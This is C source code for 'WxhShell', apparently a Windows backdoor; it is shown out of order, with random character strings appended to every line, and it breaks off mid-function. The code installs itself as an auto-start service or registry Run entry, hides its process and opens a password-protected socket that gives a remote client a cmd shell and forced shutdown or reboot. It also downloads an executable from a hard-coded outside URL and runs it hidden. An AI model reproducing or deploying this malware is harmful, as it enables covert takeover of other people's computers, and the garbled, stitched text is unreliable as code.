    else { H$:Z`CQt<  
    closesocket(wsh); VtR?/+8X  
    ExitThread(0); 5aF03+ko  
    } ,1\nd{  
    break; vZdn  
    } Fb<r~2  
  // 关机 Cmq.V@  
  case 'd': { ]7QRelMiz+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !bnuCc  
    if(Boot(SHUTDOWN)) idm!6]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )\:cL GM  
    else { kAbkhZ1^  
    closesocket(wsh); z2m%L0  
    ExitThread(0); %SRUHx[D  
    } 1PMBo=SUe8  
    break; d9zI A6y  
    } >uok\sX  
  // 获取shell O7#ECUH  
  case 's': { ~~?4w.k  
    CmdShell(wsh); k)W8%=R  
    closesocket(wsh); BReNhk)S  
    ExitThread(0); f6 zT  
    break; 6]i"lqb  
  } 8{5Y%InL  
  // 退出 gI&& LwT4  
  case 'x': { &%~2Wm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {iP^51fy  
    CloseIt(wsh); |~mi6 lJ6  
    break; RVFQ!0 C  
    } })V9d  
  // 离开 ^A8'YTl  
  case 'q': { Ni5~Buf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); la ~T)U7  
    closesocket(wsh); pV#~$e  
    WSACleanup(); ?_e2)+q8YG  
    exit(1); ta>:iQ a  
    break; $73j*@EQA  
        } z6)SaSYE  
  } sXzxEhp  
  } h1.]Nl C  
`~Eo;'(+^  
  // 提示信息 Le9^,B@Pb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m*L*# ZBS  
} *P_ 3A:_  
  } DLYk#d: q?  
0]l _qxv  
  return; kji*7a?y  
} )bZS0f-  
Y`S9mGR#  
// shell模块句柄 +/60$60[z  
int CmdShell(SOCKET sock) j2T Z`Z?a^  
{ mie<jha  
STARTUPINFO si; tBgB>-h(  
ZeroMemory(&si,sizeof(si)); :CO>g=`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >]q{vKCAP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hKw4[wB]  
PROCESS_INFORMATION ProcessInfo; ;BV1E|j  
char cmdline[]="cmd"; 4P@Ak7iL(V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^Bw2y&nN  
  return 0; '>AOJ aA  
} |3f?1:"Z  
=6b^j]1  
// 自身启动模式 eK\1cs  
int StartFromService(void) [HB>\   
{ <d,Qi.G4  
typedef struct o5gt`H"  
{ -W(O~AK  
  DWORD ExitStatus; )s6pOxWx  
  DWORD PebBaseAddress; n?*Fr sZ  
  DWORD AffinityMask; "nX L7N0  
  DWORD BasePriority; l~,5)*T  
  ULONG UniqueProcessId; $LLkYOwI  
  ULONG InheritedFromUniqueProcessId; A-\OB Nh  
}   PROCESS_BASIC_INFORMATION; <6`_Xr7)  
?yfk d:WD  
PROCNTQSIP NtQueryInformationProcess; gF;i3OJg  
n7`R+4/s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !es?GJq`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M]YK]VyG  
5" <7  
  HANDLE             hProcess; u1F@VV{  
  PROCESS_BASIC_INFORMATION pbi; Jg=[!j0(  
q"OvuHBSOn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [psW+3{bG  
  if(NULL == hInst ) return 0; w-l:* EV8  
yTWP1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c%_I|h<?iT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UD`bK a`E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RiC1lCE  
LutP&Ebt8  
  if (!NtQueryInformationProcess) return 0; "ewSh<t  
_p/ _t76s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V|3}~(5=  
  if(!hProcess) return 0; !6hUTjhW7z  
_,:gSDW|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VSa\X~  
?sV0T)uk  
  CloseHandle(hProcess); )IQa]A  
)%lPa|7s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [V_Z9-f*  
if(hProcess==NULL) return 0; bhaIi>W~G  
T!C39T  
HMODULE hMod; :B?C~U k  
char procName[255]; jovI8Dw >  
unsigned long cbNeeded; G9ku(2cq  
+CL`]'~;E-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8SII>iL{  
xMNUy B{?  
  CloseHandle(hProcess); _oK*1#Rm8  
/?<o?IR~6  
if(strstr(procName,"services")) return 1; // 以服务启动 H'E(gc)>)  
$s-/![ 6  
  return 0; // 注册表启动 Coz\fL  
} ) -x0xY  
f0+)%gO{  
// 主模块 7M*&^P\}es  
int StartWxhshell(LPSTR lpCmdLine) "w.gP8`  
{ ;5qZQ8`4  
  SOCKET wsl; oUrNz#U  
BOOL val=TRUE; 2mj?&p?  
  int port=0; F)_zR  
  struct sockaddr_in door; {2Jo|z  
rnW(<t"  
  if(wscfg.ws_autoins) Install(); rM/Ona2x  
KECo7i=e  
port=atoi(lpCmdLine); &5:83#*Oj  
K*^3FO}JG  
if(port<=0) port=wscfg.ws_port; 8."B  
rw(EI,G  
  WSADATA data; D?ojxHe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +VxzWNs*JP  
34S0W]V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &Z!O   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  [@YeQ{  
  door.sin_family = AF_INET; Q!7il<S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A)"?GK{*  
  door.sin_port = htons(port); KwO;ICdJ  
PhTMXv<cE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J?VMQTa/+  
closesocket(wsl); /U\k<\1~m  
return 1; s`Z | A  
} .!|\Y!]^r  
jroR 2*  
  if(listen(wsl,2) == INVALID_SOCKET) { 0;9X`z J  
closesocket(wsl); 5=Cea  
return 1; r]JV !'R  
} jpijnz{M  
  Wxhshell(wsl); BN??3F8C  
  WSACleanup(); i+rh&,  
]\DZW4?'  
return 0; 4mYJi#e6x  
9Z, K  
} !R@v\Eu  
(55k70>i3  
// 以NT服务方式启动 G)~/$EF,_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6! `^}4  
{ #Bu W  
DWORD   status = 0; h=:Ls]ZU  
  DWORD   specificError = 0xfffffff; FfEP@$  
o@T-kAEf-.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b ]A9$-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WBc,/lgZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ux>wa+XFa  
  serviceStatus.dwWin32ExitCode     = 0; ->"Z1  
  serviceStatus.dwServiceSpecificExitCode = 0; O^/z7,  
  serviceStatus.dwCheckPoint       = 0; %DOV)Qc2  
  serviceStatus.dwWaitHint       = 0; 3vdhoS|  
B?M&j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +% E)]*Ym  
  if (hServiceStatusHandle==0) return; {v3?.a$ u  
'0ks`a4q  
status = GetLastError(); hbfN1 "z  
  if (status!=NO_ERROR) Tfsx&k\  
{ Lt'FA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +UvT;"  
    serviceStatus.dwCheckPoint       = 0; /:S&1'=  
    serviceStatus.dwWaitHint       = 0; 3` ,u^ w  
    serviceStatus.dwWin32ExitCode     = status; AN)exU ?  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bh<DqN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _m0B6?KJ  
    return; \3K%>   
  } $W_sIS0\z  
Xg <R+o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7bk=D~/nSg  
  serviceStatus.dwCheckPoint       = 0; N$&)gI:  
  serviceStatus.dwWaitHint       = 0; T( LlNq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1s\   
} 85e!)I_  
{pJf ~  
// 处理NT服务事件,比如:启动、停止 |f+`FOliP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /+ yIcE(&3  
{ 58]C``u@Y  
switch(fdwControl) bf4QW JZD  
{ OV>JmYe1{/  
case SERVICE_CONTROL_STOP: ;*+wg5|  
  serviceStatus.dwWin32ExitCode = 0; 5EX Ghc'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4CH/~b1 (  
  serviceStatus.dwCheckPoint   = 0; d U}kimz  
  serviceStatus.dwWaitHint     = 0; I9VU,8~  
  { 7cMHzh k^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m7 $t$/g  
  } Gf<f#.5y ,  
  return; eVRPjVzQ'Q  
case SERVICE_CONTROL_PAUSE: h85 kQ^%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ov$S   
  break; wk9qyv<  
case SERVICE_CONTROL_CONTINUE: ]K0G!TR<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BmhIKXE{*  
  break; i:/Ws1=q  
case SERVICE_CONTROL_INTERROGATE: YP4lizs.  
  break; hBRcI0R  
}; fk5$z0/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +eUWf{(_  
} W ])Lc3X  
l $:?82{  
// 标准应用程序主函数 qmy3pnL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R!z32 <5k  
{ `fM]3]x>  
E7`Q =4@e  
// 获取操作系统版本 goje4;  
OsIsNt=GetOsVer(); gt \O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wg}rMJoG|  
4 Q<c I2|  
  // 从命令行安装 wAA9M4  
  if(strpbrk(lpCmdLine,"iI")) Install(); )<K3Fz Bs  
; 8B )J<y  
  // 下载执行文件 B;Dl2k^L  
if(wscfg.ws_downexe) { -Cc2|~n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QLLMSa+! \  
  WinExec(wscfg.ws_filenam,SW_HIDE); n4A#T#D!t3  
} ?#0m[k&`  
@AfC$T  
if(!OsIsNt) { 5sZqX.XVF  
// 如果时win9x,隐藏进程并且设置为注册表启动 vxZ :l  
HideProc(); }}X<e  
StartWxhshell(lpCmdLine); N@x5h8  
} CFW#+U#U  
else ~{00moN"m  
  if(StartFromService()) d`sIgll&n  
  // 以服务方式启动 kE[Hq-J=N  
  StartServiceCtrlDispatcher(DispatchTable); AAc*\K  
else XCyAt;neon  
  // 普通方式启动 f+V^q4  
  StartWxhshell(lpCmdLine); /oC@:7  
P ~rTuj  
return 0; =u<jxV9  
} q]rqFP0C  
e13' dCG  
78h!D[6  
%pUA$oUt  
=========================================== z/P^Bx]r  
@3_."-d  
;y]BXW&l&  
=2OLyZDI  
)u>/:  
L g2z `uv  
" $*qQ/hi  
<!a%GI  
#include <stdio.h> _%@ri]u{ov  
#include <string.h> |y DaFv  
#include <windows.h> E HH+)mlo  
#include <winsock2.h> E5Zxp3N  
#include <winsvc.h> P;V5f8r?  
#include <urlmon.h> r}M2t$nv  
9?I?;l{  
#pragma comment (lib, "Ws2_32.lib") k`=&m"&#  
#pragma comment (lib, "urlmon.lib") bZCNW$C3l  
ZRn!z`.0  
#define MAX_USER   100 // 最大客户端连接数 PL*1-t?#  
#define BUF_SOCK   200 // sock buffer i:n1Di1~E  
#define KEY_BUFF   255 // 输入 buffer I*EHZctH  
|'!9mvt=  
#define REBOOT     0   // 重启 M d.^r5r  
#define SHUTDOWN   1   // 关机 Q=?YY-*$  
\qw1\-q  
#define DEF_PORT   5000 // 监听端口 q vGP$g  
=v6qr~  
#define REG_LEN     16   // 注册表键长度 JLh{>_Rr  
#define SVC_LEN     80   // NT服务名长度 Ocf:73t  
V*%Lc9<d  
// 从dll定义API r68d\N`.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %mNd9 ]<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XLj|y#h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n0vhc;d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RCY}JH>}  
fK10{>E1  
// wxhshell配置信息 O)D+u@RhH  
struct WSCFG { @,;VMO  
  int ws_port;         // 监听端口 KvNw'3Ua  
  char ws_passstr[REG_LEN]; // 口令 i'MpS  
  int ws_autoins;       // 安装标记, 1=yes 0=no V!zU4!@qP  
  char ws_regname[REG_LEN]; // 注册表键名 m/p:W/0L  
  char ws_svcname[REG_LEN]; // 服务名 'M=V{.8U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DgGG*OXY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EeDK ^W8N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gT#hF]c:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _Eus7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z ItS(o J.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B j z@X  
m:]60koz]o  
}; dw3H9(-lp  
 `s~[q  
// default Wxhshell configuration u$ a7  
struct WSCFG wscfg={DEF_PORT, ';KZ.D  
    "xuhuanlingzhe", !Nx'4N`&l  
    1, I`S?2i2H  
    "Wxhshell", Ybp';8V  
    "Wxhshell", pe>[Ts`2F  
            "WxhShell Service", 3) _(t.$D  
    "Wrsky Windows CmdShell Service", @  Br?  
    "Please Input Your Password: ", c+.?+g  
  1, Dz<vIMLF{  
  "http://www.wrsky.com/wxhshell.exe", Q)93 +1]  
  "Wxhshell.exe" [z r2\(  
    }; N(Xg#m   
kA{eT  
// 消息定义模块 E=RX^ 3+}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KCi0v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gmdA1$c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >L,Pw1Y0W[  
char *msg_ws_ext="\n\rExit."; VdF<#(X+  
char *msg_ws_end="\n\rQuit."; 25/M2u?  
char *msg_ws_boot="\n\rReboot..."; yBnUz"  
char *msg_ws_poff="\n\rShutdown..."; 4N_iHe5U  
char *msg_ws_down="\n\rSave to "; g$^I/OK?  
B; r` 1 G  
char *msg_ws_err="\n\rErr!"; ?7\$zn)v#  
char *msg_ws_ok="\n\rOK!"; *5q_fO  
w~Jy,[@n  
char ExeFile[MAX_PATH]; >36>{b<'$*  
int nUser = 0; ?^!: Lw  
HANDLE handles[MAX_USER]; WNo<0|X  
int OsIsNt; sO 0j!;N  
'=cAdja  
SERVICE_STATUS       serviceStatus; b9"HTQHl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y%#r&de  
Cd'K~Ch3  
// 函数声明 b&I{?'"%8  
int Install(void); l]F)]>AE  
int Uninstall(void); YTV|]xpR  
int DownloadFile(char *sURL, SOCKET wsh); %%^by  
int Boot(int flag); 3$h yV{  
void HideProc(void); 3R`eddenF  
int GetOsVer(void); y/OPN<=*  
int Wxhshell(SOCKET wsl); }= (|3 \v  
void TalkWithClient(void *cs); d/l>~%bR  
int CmdShell(SOCKET sock); /YD2F  
int StartFromService(void); #GIjU1-  
int StartWxhshell(LPSTR lpCmdLine); )|IMhB+4  
Tu7sA.73k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *7^w}v+.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p[:E$#W~;  
{/q4W; D  
// 数据结构和表定义 G&dz<f  
SERVICE_TABLE_ENTRY DispatchTable[] = mE"},ksg  
{ k_](u91  
{wscfg.ws_svcname, NTServiceMain}, Gp}}M Gk  
{NULL, NULL} z1m$8-4  
}; -"/l)1ox,  
#Y<(7  
// 自我安装 TRku(w1f  
int Install(void) N\W4LO6  
{ DH'0#  
  char svExeFile[MAX_PATH]; <a)L5<#  
  HKEY key; q*d@5  
  strcpy(svExeFile,ExeFile); Ou wEO   
3#~w#Q0%  
// 如果是win9x系统,修改注册表设为自启动 +JPHQx'W  
if(!OsIsNt) { f~v@;/HL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2PG= T/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /=~o|-n8@  
  RegCloseKey(key); NG\^>.8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ">!<OB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o 76QQ+hP  
  RegCloseKey(key); OE5JA8/H  
  return 0; [hXnw'Im/  
    } )=6o  ,  
  } #({ 9M  
} Gu5%Pou  
else { +w9X$<?_  
%tT=q^%5  
// 如果是NT以上系统,安装为系统服务 mFW/xZwR,5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BM_Rlcx~  
if (schSCManager!=0) wSIfqf+y  
{ Ob m%\h  
  SC_HANDLE schService = CreateService Y(Q!OeC  
  ( OpxJiu=W  
  schSCManager, Y^9b>H\2  
  wscfg.ws_svcname, #*x8)6Ct  
  wscfg.ws_svcdisp, jZP~!q  
  SERVICE_ALL_ACCESS, [ @`Ki  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7$|L%Sk  
  SERVICE_AUTO_START, W B7gY\Y&M  
  SERVICE_ERROR_NORMAL, M\)(_I)V=  
  svExeFile, =`fz#Mfd  
  NULL, Bxs0m]  
  NULL, 6}^6+@LG  
  NULL, uH=^ILN.  
  NULL, ;SVAar4r  
  NULL !1fAW! 8  
  ); 0uwe,;   
  if (schService!=0) Y0ouLUlI  
  { *|^}=ioj*  
  CloseServiceHandle(schService); 2/.I6IbL  
  CloseServiceHandle(schSCManager); drW}w+ !  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $x|4cW2  
  strcat(svExeFile,wscfg.ws_svcname); CvB)+>oa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dXewS_7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .|x" '3#  
  RegCloseKey(key); >w)A~ F<  
  return 0; x'hUw*  
    } PBY ^m+  
  } mYw9lM  
  CloseServiceHandle(schSCManager); .jvRUD8A7  
} m5\/7 VC  
} :+$/B N:iO  
:9f/d;Mo3  
return 1; ?*: mR|=  
} D<UX^hU   
O [v(kH'  
// 自我卸载 " UxKG+   
int Uninstall(void) I%gDqfdL  
{ GZk{tTv  
  HKEY key; M?m)<vMr*  
.C?rToCY  
if(!OsIsNt) { 9w08)2$ Na  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VKb'!Ystl  
  RegDeleteValue(key,wscfg.ws_regname); 8V(-S,  
  RegCloseKey(key); $<v{$UOh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $5S/~8g(  
  RegDeleteValue(key,wscfg.ws_regname);  SE D_^  
  RegCloseKey(key); D?6ah=:&R  
  return 0; V{+5Fas^l  
  } iIO_d4Z  
} rWnZIt"  
} ua HB\Uc  
else { gaa;PX  
MaQ`7U5 |e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v''F\V )  
if (schSCManager!=0) 5"o)^8!>  
{ uszH1@g'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G'0]m-)dw  
  if (schService!=0) U?sio%`(  
  { JtGBNz!"  
  if(DeleteService(schService)!=0) { z4iZE*ZS  
  CloseServiceHandle(schService); ~ $QNp#dq  
  CloseServiceHandle(schSCManager); FNB4YZ6  
  return 0; VT~jgsY  
  } ~L ufHbr  
  CloseServiceHandle(schService); , \ 6*fXc  
  } [7*$Sd  
  CloseServiceHandle(schSCManager); 4E~!$Ustx  
} 04wO9L;  
} BkcA_a:W  
HA W57N  
return 1; xXn2M*g  
} P K9BowlW  
Ki{]5Rz  
// 从指定url下载文件 <QZ X""  
int DownloadFile(char *sURL, SOCKET wsh) PS3%V_2  
{ ?84B0K2N s  
  HRESULT hr; $TR#-q  
char seps[]= "/"; fx `oe  
char *token; B jsF5~+\  
char *file; jpI=B  
char myURL[MAX_PATH]; jZLD^@AP  
char myFILE[MAX_PATH]; 1Z| {3W  
6<N Q/*(/  
strcpy(myURL,sURL); nW7Ew<`Q  
  token=strtok(myURL,seps); /+{]?y,  
  while(token!=NULL) ]v6s](CE  
  { [H&Z / .{F  
    file=token; ];VJ54  
  token=strtok(NULL,seps); "O j2B|:s&  
  } 6-vQQ-\  
q/l@J3p[qm  
GetCurrentDirectory(MAX_PATH,myFILE); R}VEq gq  
strcat(myFILE, "\\"); sUEvL( %nY  
strcat(myFILE, file); BiI}JEp4o  
  send(wsh,myFILE,strlen(myFILE),0); yRGv{G[59  
send(wsh,"...",3,0); 'X@>U6s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IQya{e  
  if(hr==S_OK) @h$4Mt7N  
return 0; q;0QI{:5v  
else ;*=MI/"N  
return 1; ~w9.}   
ZB@Bj>,b p  
} >ho$mvT  
yYri.n  
// 系统电源模块 NiPa-yRh  
int Boot(int flag) z=/xv},  
{ '<eeCe-  
  HANDLE hToken; $Z!7@_Ys  
  TOKEN_PRIVILEGES tkp; L4?)N&V  
="Sa>-d o,  
  if(OsIsNt) { P6 & _q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &hri4p/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VvJ]*D+e  
    tkp.PrivilegeCount = 1; *4oj' }  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tH\ aHU[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;4] sP^+  
if(flag==REBOOT) { k~+(X|!5w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @& vtY._  
  return 0; 2^.qKY@g@  
} ZN]LJ4|xu  
else { d9>k5!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rs?"pGz;  
  return 0; @M!Wos Rk  
} c 6"hk_  
  } $&l} ABn  
  else { 1P1"xT  
if(flag==REBOOT) { ~Vf+@_G8`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1O{x9a5Z?O  
  return 0; 7g a|4j3%  
} *4<Kz{NF  
else { _Boe"   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sy?O(BMo  
  return 0; +_h1JE_}D  
} L dyTB@  
} _xVtB1@kLM  
1s@%q <  
return 1; Y::I_6[eV  
} KNZN2N)wR  
` e~nn  
// win9x进程隐藏模块 ]l.qp5eQ  
void HideProc(void) `NNr]__  
{ Mc #w:UH[  
.tny"a&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4LfD{-_uW  
  if ( hKernel != NULL ) {vL4:K  
  { lm 1Mz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b9(_bsc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q=H dGv  
    FreeLibrary(hKernel); 9N kr=/I"P  
  } 0s#`H  
P$=BmBq18`  
return; M],}.l  
} >,V~-Tp  
K4V\Jj1l  
// 获取操作系统版本 f 4Yn=D=_  
int GetOsVer(void) Q#} 0pq  
{ 1dgy-$H~  
  OSVERSIONINFO winfo; 6zfi\(fop  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )`sEdVxbr  
  GetVersionEx(&winfo); L9G xqw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i{9_C/  
  return 1; snW=9b)m  
  else tAM t7p-  
  return 0; ~H)s>6>#v  
} ygA~d9"  
WHM|kt  
// 客户端句柄模块 N7b+GqYpF>  
int Wxhshell(SOCKET wsl) 6zGM[2  
{ K Qz.g3,  
  SOCKET wsh; -/O_wqm#  
  struct sockaddr_in client; 86BY032H  
  DWORD myID; 2zz7/]?Q   
e[(XR_EY  
  while(nUser<MAX_USER) {M.OOEcIp  
{ rrSsQq  
  int nSize=sizeof(client); ^=lh|C\#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yG`J3++ S  
  if(wsh==INVALID_SOCKET) return 1; !ibdw_H  
g2&%bNQ-5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (pl|RmmDz  
if(handles[nUser]==0) ^"?fZSC  
  closesocket(wsh); =y$|2(6  
else *QIlh""6  
  nUser++; 5ZXP$.  
  } D[NJ{E.{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k[`9RGT  
W8$ky[2R  
  return 0; v%=@_`Ht  
} 0^L>J "o  
:U}.  
// 关闭 socket TBGN',,  
void CloseIt(SOCKET wsh) _=wu>h&7  
{ [vJLj>@  
closesocket(wsh); I)B+h8l72<  
nUser--; K>tubLYh  
ExitThread(0); "\x<Zg;  
} a%"27 n(M  
!\DlX |  
// 客户端请求句柄 |\lsTY&2  
void TalkWithClient(void *cs) #c?xJ&bh  
{ l. 9 i `  
*" ("^_x\  
  SOCKET wsh=(SOCKET)cs; j!It1B  
  char pwd[SVC_LEN]; 'F)93SwU  
  char cmd[KEY_BUFF]; h "MiD  
char chr[1]; /:YM{,]  
int i,j; Fbpe`pS+V  
xejQ!MAB  
  while (nUser < MAX_USER) { 7Ntt#C;]U  
R0l5"l*@+  
if(wscfg.ws_passstr) { TvbkvK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V?.')?'V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =41g9UQ  
  //ZeroMemory(pwd,KEY_BUFF); C[Ap&S  
      i=0; ]r^/:M  
  while(i<SVC_LEN) { #}8l9[Q|M  
c,K)*HB  
  // 设置超时 Q (3Na6  
  fd_set FdRead; [%);N\o2Y  
  struct timeval TimeOut; P0B`H7D  
  FD_ZERO(&FdRead); v/fo`]zP  
  FD_SET(wsh,&FdRead); TQ{rg2_T  
  TimeOut.tv_sec=8; k"kGQk4  
  TimeOut.tv_usec=0; %|tDb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _{]\} =@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !>,\KxnM  
/f5*KRM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Pbuv6`RK  
  pwd=chr[0]; t==CdCl  
  if(chr[0]==0xd || chr[0]==0xa) { Xiy9Oeq2uh  
  pwd=0; rF3QmR?l  
  break; ]d4`PXI  
  } |8bqn^@$t  
  i++; b.LMJ'1  
    } &zxqVI$4  
/ bxu{|.  
  // 如果是非法用户,关闭 socket IpJMq^ Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); klwC.=?(j"  
} PQkFzyk  
1[; 7Ay  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [{i"Au]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1&,d,<  
{CO]wqEj  
while(1) { - kGwbV}  
k3HPY}-  
  ZeroMemory(cmd,KEY_BUFF); pQ_EJX)  
B#+0jdF;  
      // 自动支持客户端 telnet标准   o#D;H[' A  
  j=0; Mx7  
  while(j<KEY_BUFF) { EO_:C9=d{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -KuC31s_W  
  cmd[j]=chr[0]; B"@3Qav3  
  if(chr[0]==0xa || chr[0]==0xd) { %OIJ.  
  cmd[j]=0; 7CK3t/3D  
  break; kE8\\}B7  
  } isG8S(}IW&  
  j++; Q1b<=,  
    } .+@;gVZx1  
1I=>0 c  
  // 下载文件 ^5MPK@)c,/  
  if(strstr(cmd,"http://")) { !a.|URa7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yGxAur=dE  
